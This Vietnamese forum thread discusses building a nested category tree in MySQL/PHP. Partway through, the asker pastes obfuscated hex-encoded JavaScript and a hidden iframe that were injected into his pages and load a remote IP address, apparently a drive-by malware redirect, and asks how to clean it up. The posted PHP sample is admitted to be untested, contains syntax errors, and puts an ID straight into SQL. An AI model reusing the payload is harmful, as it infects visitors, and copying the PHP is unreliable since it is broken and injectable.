banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows tạo cây đa cấp? trong mysql  XML
  [Question]   tạo cây đa cấp? trong mysql 05/12/2007 03:44:13 (+0700) | #1 | 101923
tyhaonline
Member

[Minus]    0    [Plus]
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
[Profile] [PM]
bác nào biết cách tạo cây đa cấp trong mysql sao đó truy vấn bằng php không vậy
ví dụ dể hiểu hơn tý nhé:
www.24h.com.vn
ví dụ cụ thể hơn nhé
thể thao
-- Bóng đá châu âu
-- Bóng đã châu á
trong bóng đá châu á lại có:
------ Bóng đá việt nam
------ Bóng đá Thái Lan
trong bóng việt nam lại có
======= Bóng đá chuyên nghiệp
======= Bóng đá hạng nhất
======= Bóng đá hạng hai
Thời trang
-- Thời trang trẻ
-- thời trang người lớn
trong thời trang trẻ lại có
------- Thời trang học sinh
------- Thời trang sinh viên
v.v.v
chắt mâys bác hiểu:d
bác nào có làm qua cách này thì xin hướng dẫn(:d)
thanks trước nha


[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 05/12/2007 23:37:35 (+0700) | #2 | 102079
tyhaonline
Member

[Minus]    0    [Plus]
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
[Profile] [PM]
hic, mọi người chưa ai gặp trường hợp này sao
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 07/12/2007 08:48:11 (+0700) | #3 | 102413
[Avatar]
Luke
Elite Member

[Minus]    0    [Plus]
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
[Profile] [PM]
SQL Schema thì là

Table: Categories

id
(auto increment)
name
parent
position

parent mặc định = 0 khi ở level 1
order mặc định bằng cat_id

Code:
class Category
{
	// Code chua run, code bang notepad de tam tham khao
	var $Info;
	function Parse()
	{
		$QueryStr	= "SELECT * FROM " . CATEGORY_TABLE . " WHERE 1 ORDER BY position DESC";
		$Result		= @mysql_query ($QueryStr) 
		// or return ErrorHandler("MySQL", mysql_error());
		//if (!$Result) return ErrorHandler($Context,$ErrMsg); 
		while ($Row	= @mysql_fetch_assoc($Result))
			$Cat[]	= $Row;
		$this->sortCat($Cat, 0, 1);
		return 1;
	}
	function sortCat($CatArr, $Node, $Level)
	{
		for ($i=0, $i< Count($CatArr); $i++)
		if ($CatArr[$i][parent] == $Node)
			{
				$CatArr[level]	= $Level;
				$this->Info[]	= $CatArr[$i];
				this->sortCat($CatArr, $CatArr[$i][id], $Level+1);
			}
		return 1;
	}
	
	// Ham nay anh tach ra tu bo core cua thang coder ben anh
	// Chi de tham khao vi no lien quan den pattern cua he thong nua
	function moveUp($CatID)
	{
		$QueryStr = "SELECT c1.id, c1.position,c1.parent,c2.id,c2.position,c2.parent 
						FROM " .TBL_CATEGORIES."c1,".TBL_CATEGORIES." c2 
							WHERE c1.position < c2.position 
							  AND c2.id = $CatID 
		          			  AND c1.parent = c2.parent 
										ORDER BY c1.position DESC";
							
		if ($result = MySQL::Query($QueryStr))
		{
			if (@mysql_num_rows($result)!=0)
			{
				$row 	= @mysql_fetch_row($result);
				$cat1 	= array("position"	=>$row[4]);
				$cat2 	= array("position"  =>$row[1]);
			
				return (Category::Update($cat1,"id=$row[0]"))
						&&(Category::Update($cat2,"id=$row[3]"));
			}
		}  
	}
	
}
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 11/12/2007 01:12:29 (+0700) | #4 | 103197
tyhaonline
Member

[Minus]    0    [Plus]
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
[Profile] [PM]
hì để mình test xem sao
trong có vẻ chuyên nghiệp đó:
thanks for reply
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 12/12/2007 09:01:57 (+0700) | #5 | 103445
tyhaonline
Member

[Minus]    0    [Plus]
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
[Profile] [PM]
thanks bác Luke vì đã post bài trả lời
mình chưa test code của bác nhưng mà mình đã làm ok rồi, cách của mình làm không cần tạo cái field "position "
mà chỉ cần hàm gọi hàm theo kiểu đệ quy là Ok hếtsmilie
vì bác viết theo hướng đối tượng nên mình đọc không ra mặt dù nhìn nó đơn giản smilie(vì mình chưa đụng đến hướng đối tượng bao giờ)
-- đi xa hơn tý mấy bác giúp giùm cái này nhé: chẳng biết host mình đang thuê bị vi rút hay cái gì mà mọi trang index của mình đều bị một dòng code lạ chèn vào theo mình thấy thì nó là iframe của Html
sau đây là code của nó chèn vào các trang index của mình


<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475dda8e0c855(v475dda8e0d039){ function v475dda8e0d831 () {return 16;} return(parseInt(v475dda8e0d039,v475dda8e0d831()));}function v475dda8e0e81a(v475dda8e0f012){ function v475dda8e107fb () {var v475dda8e1100b=2; return v475dda8e1100b;} var v475dda8e0f80a='';for(v475dda8e10003=0; v475dda8e10003<v475dda8e0f012.length; v475dda8e10003+=v475dda8e107fb()){ v475dda8e0f80a+=(String.fromCharCode(v475dda8e0c855(v475dda8e0f012.substr(v475dda8e10003, v475dda8e107fb()))));}return v475dda8e0f80a;} document.write(v475dda8e0e81a('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D3131207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3439363137292B27343163326539343231305C272077696474683D313439206865696768743D333333207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> 

ai có cách giải quyết nào không thì giúp mình với
thanks for reply
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 13/12/2007 10:28:55 (+0700) | #6 | 103609
daotranbang
Member

[Minus]    0    [Plus]
Joined: 14/08/2005 12:05:24
Messages: 25
Offline
[Profile] [PM]
Chậc, đầu tiên là có field position của đại ca Luke là cần thiết để sắp xếp các thành phần của pa. nếu không thì nó sắp kiểu nào?
Tiếp nữa nếu cái host của anh bạn là host free thì cái kia chắc là script quảng cáo rùi!
Còn cái nữa là theo tui thì nên xài 1 query sql thui, lấy hết cái table CATEGORY_TABLE rùi xài PHP hiển thị thì tốt hơn, tiết kiệm query sql.
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 18/12/2007 00:12:41 (+0700) | #7 | 104437
tyhaonline
Member

[Minus]    0    [Plus]
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
[Profile] [PM]

daotranbang wrote:
Chậc, đầu tiên là có field position của đại ca Luke là cần thiết để sắp xếp các thành phần của pa. nếu không thì nó sắp kiểu nào?
Tiếp nữa nếu cái host của anh bạn là host free thì cái kia chắc là script quảng cáo rùi!
Còn cái nữa là theo tui thì nên xài 1 query sql thui, lấy hết cái table CATEGORY_TABLE rùi xài PHP hiển thị thì tốt hơn, tiết kiệm query sql. 

bác nói thế nào ấy chứ ! tui nói làm được thì làm được!:d smilie
tính tui nó ngang vậy mà smilie
hôm trươc viết không được nhưng hôm nay đã ok ! thực chất thì trước khi post lên HVA thì mình làm theo một cách khác đó là tạo thêm field group và level nhưng truy xuất dữ liệu quá nhọc nhằn:d và không tối ưu
và hôm nay mình đã tìm ra giải pháp rồi(viết khoan~ 10 dòng! là truy xuất được category dù cho category của mình có 100 cấp hay hơn nữa cũng ra)
đó là dòng code cua~ đám iran và thổ nhĩ kỳ chèn lên server cua~ mình chứ không phải là cript quản cáo
giờ không biết khắc phục sau luôn smilie
[Up] [Print Copy]
  [Question]   Re: tạo cây đa cấp? trong mysql 18/12/2007 15:46:40 (+0700) | #8 | 104558
daotranbang
Member

[Minus]    0    [Plus]
Joined: 14/08/2005 12:05:24
Messages: 25
Offline
[Profile] [PM]
Éc, nếu cứ xài query không thèm tính toán thì cách của đại ca Luke cũng hok bỏ sót miếng nào trong cái menu của bạn đâu! Nếu như viết kiểu cố định, không link hoạt thì đừng nói 10 dòng, đệ qui đằng nào mà ko ra! Nhưng mà hok lầm thì query càng nhiều, dos càng mau chết. Nghe đồn vậy!
Còn vụ cái `position`, nếu pa hok muốn linh hoạt trong sắp xếp các menu thì hok nói làm gì, để nó tự xếp theo id cũng dc dza!
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|